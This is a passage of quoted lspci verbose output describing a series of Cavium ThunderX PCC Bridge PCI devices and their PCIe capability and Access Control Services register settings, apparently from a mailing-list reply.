> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:09.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0a, subordinate=0a, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0a.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0b, subordinate=0b, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0b.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0c, subordinate=0c, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0c.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0d, subordinate=0d, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0d.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0e, subordinate=0e, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0e.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0f, subordinate=0f, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0f.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=10, subordinate=10, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:10.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=11, subordinate=11, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:11.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=12, subordinate=12, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:12.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=13, subordinate=13, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
